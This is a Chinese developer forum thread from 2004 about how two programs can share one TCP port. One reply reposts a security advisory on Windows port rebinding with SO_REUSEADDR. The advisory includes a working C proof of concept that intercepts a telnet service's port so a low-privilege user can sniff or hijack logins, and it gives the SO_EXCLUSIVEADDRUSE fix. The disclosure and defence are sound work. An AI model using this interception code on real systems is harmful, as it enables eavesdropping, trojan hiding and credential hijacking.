请教高手:怎么使两个应用程序都在同一个端口正常监听???

abcdhy 2004-08-10 01:13:33
网上有一个软件:HTTPTunnel
可以实现 HTTP 穿透,也就是可以在运行在服务器的80号端口上监听,但同时服务器的WEB服务还可以正确运行.以躲过防火墙的拦截.

也就是 HTTPTunnel 和 WEB服务器 同时在同一个机器的80号端口监听,而互不影响.这是怎么实现的呢??

这和我学习的 TCP 协议好像不一致,这时使用的 TCP 协议的漏洞吗??

请大侠们指点我一下?/
谢谢!!
...全文
649 18 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
18 条回复
切换为时间正序
请发表友善的回复…
发表回复
pclili 2004-08-23
  • 打赏
  • 举报
回复
呵呵,问题还真是有蛮多的哦~~
abcdhy 2004-08-16
  • 打赏
  • 举报
回复
先谢谢 ber() 的鼎力帮助!!

ber() 你说的这个方法,我也知道,但这其中有一个问题!
就是 IIS 也有这个BUG!

正常时 content_length:xxx 后是表示用户数据的长度,但如果客户端,故意修改了这个值(比如改得很大),再发给服务器,就会导致服务器没数据可读,一直阻塞在那里.

先不说这个问题了??还有一个重要的问题:
我接收到了用户输入的数据,我怎么知道客户端是使用的什么编码发送的呢??
是不是在某个位置有记录的??

谢谢!!
abcdhy 2004-08-15
  • 打赏
  • 举报
回复
谢谢,各位了!!
有学到了不少啊!!

再请教大侠们一个问题:
哪位大侠写过HTTP服务器的模拟程序??
怎么判断客户机传送过来的数据已经完毕啊??
谢谢!!

用一个 while 循环读取, 如果没有数据 程序就会在 read() 函数处停止运行,必须要在 循环内部 判断已经读取完毕,及时跳出死循环 .

比如做一个最简单的服务器, 把 IE 发过来的所有信息回发给 IE ,我首先要接收了所有的信息,才能发送啊? 我怎么判断接收的信息的完整性啊,又什么时候停止接收啊?
ber 2004-08-15
  • 打赏
  • 举报
回复
问题还真不少啊!
HTTP服务你至少要处理以下三个请求命令:
GET/HEAD/POST
GET & HEAD:一般最后以一个空行结束,即最后以"\r\n\r\n"结束
POST:请求头以"\r\n\r\n"结束,如果请求头中有content_length:xxx这个字段,则请求头后面紧跟着xxx字节的数据,接收完这些数据才算请求结束
sharkhuang 2004-08-14
  • 打赏
  • 举报
回复
tcp就可以啊!建立连接的端口都是监听端口.


难道你说的是设置端口重用?
ber 2004-08-14
  • 打赏
  • 举报
回复
端口截听实现端口隐藏,嗅探与攻击

创建时间:2002-11-05
文章属性:原创
文章提交:flashsky (flashsky1_at_sina.com)

作者:FLASHSKY
EMAIL:flashsky@xfocus.org
站点:http://www.xfocus.net www.shopsky.com/
转载请注明原作者安全焦点

在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
这意味着什么?意味着可以进行如下的攻击:
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。

其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

DWORD WINAPI ClientThread(LPVOID lpParam);

int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;

wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;

//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
saddr.sin_port = htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隐藏端口应用的话,可以在此处加一些判断
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
//如果是嗅探内容的话,可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
num = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}
sharkhuang 2004-08-14
  • 打赏
  • 举报
回复
明显是协议栈做的事情啊!设置端口重用都会发的.如果是tcp ip port 对端的ip port!4个就绝对不会错的.
ber 2004-08-14
  • 打赏
  • 举报
回复
你也可以测试一下。操作系统只给其中的一个发送数据。一般系统将数据包递交给IP地址指定最明确的程序,如果IP地址指定一样则系统将数据缔递交给最晚运行的程序。

指明最明确就是指你程序中socket所绑定的地址最明确:如绑定INADDR_ANY和绑定指定一个明确的IP不同,系统将数据缔递交给绑定那个明确IP的程序。
abcdhy 2004-08-14
  • 打赏
  • 举报
回复
呵呵,谢谢大家,终于知道了一些重要资料了.

再请教大家一个问题:

几个程序共享一个端口,操作系统是怎么发送数据的??

是给每个程序都一样的信息?
还是给最后一个绑定的程序?
还是象 ber() 所的:谁的指定最明确则将包递交给谁?

这里的指明最明确,又是指的什么?

谢谢大家了!
abcdhy 2004-08-13
  • 打赏
  • 举报
回复
谢谢,大家,我看看 pclili(黑客天使) 提供的书,希望有收获
microyzy 2004-08-12
  • 打赏
  • 举报
回复
隧道俺还不太懂:(
不过肯定不可能同时在一个端口监听

以我的理解,HTTPTunnel干什么的?它需要在80监听吗?还是通过80端口出去?
pclili 2004-08-12
  • 打赏
  • 举报
回复
一个端口可以被几个socket共用的。
用setsockopt函数SO_REUSEADDR参数
windows网络编程技术上讲的有,可以参考一下!
Magnus 2004-08-11
  • 打赏
  • 举报
回复
?????
UDX协议 2004-08-11
  • 打赏
  • 举报
回复
HTTPTunnel估计不是监控80,我想他是间接的。
猜测,赫赫
UDX协议 2004-08-11
  • 打赏
  • 举报
回复
共享一个事件就可以了。

不过要通过互翅才行。
abcdhy 2004-08-11
  • 打赏
  • 举报
回复
但问题是:
WEB 服务器先已经在 80 号端口监听.
HTTPTunnel 启动后,也可以在 80 号端口监听,而且 WEB 也可以正常运行??

这是怎么实现的啊??
abcdhy 2004-08-10
  • 打赏
  • 举报
回复
高手快出马啊!!!!!!!!!
abcdhy 2004-08-10
  • 打赏
  • 举报
回复
没人知道啊!!
只有自己 UP 一下!

18,363

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 网络编程
c++c语言开发语言 技术论坛(原bbs)
社区管理员
  • 网络编程
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧